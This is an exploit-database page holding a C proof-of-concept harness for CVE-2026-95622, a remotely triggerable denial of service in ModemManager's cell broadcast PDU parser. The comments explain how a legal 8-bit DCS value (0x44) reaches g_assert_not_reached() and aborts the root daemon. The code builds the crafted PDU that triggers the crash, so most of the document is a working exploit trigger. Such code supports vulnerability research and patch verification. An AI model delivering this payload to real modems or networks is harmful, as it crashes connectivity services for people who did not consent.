Exploit databaseDownload repository ZIP
GH-1e84dab0b757e363763f03f4c1c55de8
0xsemizzz/cve-2026-95622
Sources for CVE-2026-95622
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
0xsemizzz/cve-2026-95622Revision fa8bd7ddf68d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc_cbm.c
C · 2,941 bytes/*
* poc_cbm.c - Proof of concept for a remotely-triggerable denial of service
* in ModemManager's Cell Broadcast (CBM) PDU parser.
*
* Affected function : src/mm-cbm-part.c, mm_cbm_part_new_from_binary_pdu()
* Tested against : main @ 306f6256
* Impact : unauthenticated remote abort() of the (root) daemon
*
* Summary
* -------
* A cell broadcast PDU whose Data Coding Scheme (DCS) octet selects an
* unhandled charset (e.g. 8-bit data) leaves cbm_part->encoding at its
* zero-initialised value MM_SMS_ENCODING_UNKNOWN (g_slice_new0). The encoding
* switch in mm_cbm_part_new_from_binary_pdu() handles only GSM7 and UCS2, so
* the 8-bit/UNKNOWN case falls through to g_assert_not_reached(), which
* aborts the process. DCS 0x44 is a fully legal value per 3GPP TS 23.038
* section 5 (general coding group, uncompressed, no message class, 8-bit
* data), not a malformed one.
*
* This harness calls the real parser directly with a crafted PDU. It is the
* same call the +CBM URC handler (cbc_cbm_received, src/mm-broadband-modem.c)
* and the QMI ingestion path (add_new_read_cbm_part,
* src/mm-broadband-modem-qmi.c) make on live, unsolicited modem input.
*
* See repro.txt (same directory) for exact build/run steps, the full list of
* crashing DCS values, and the observed crash output.
*/
#include <glib.h>
#include <stdio.h>
#include <ModemManager.h>
#define _LIBMM_INSIDE_MM
#include <libmm-glib.h>
#include "mm-cbm-part.h"
/*
* Minimal structurally-valid CBS PDU.
*
* Byte layout parsed by mm_cbm_part_new_from_binary_pdu():
* [0..1] serial number : 0x40 0xC0 (geo scope bits = 0b01 = PLMN, a valid
* scope, so parsing proceeds to the DCS)
* [2..3] message id/chan : 0x11 0x1F
* [4] Data Coding Sch. : 0x44 <-- the trigger (8-bit data)
* [5] page parameter : 0x11 (part 1 of 1)
* [6..] message content : filler (never reached; abort happens first)
*/
int main(void) {
guint8 pdu[88] = {0};
GError *error = NULL;
MMCbmPart *part;
int i;
pdu[0] = 0x40;
pdu[1] = 0xC0; /* serial */
pdu[2] = 0x11;
pdu[3] = 0x1F; /* channel */
pdu[4] = 0x44; /* DCS: general group, 8-bit data (LEGAL) */
pdu[5] = 0x11; /* page: 1/1 */
for (i = 6; i < (int)sizeof(pdu); i++)
pdu[i] = 0x41;
g_printerr("calling mm_cbm_part_new_from_binary_pdu() with DCS=0x44 ...\n");
/* On a vulnerable build this call never returns: it aborts inside
* mm-cbm-part.c at the g_assert_not_reached() in the encoding switch. */
part = mm_cbm_part_new_from_binary_pdu(pdu, sizeof(pdu), NULL, &error);
g_printerr("RETURNED NORMALLY (not vulnerable, or already fixed): "
"part=%p err=%s\n",
(void *)part, error ? error->message : "(none)");
g_clear_pointer(&part, mm_cbm_part_free);
g_clear_error(&error);
return 0;
}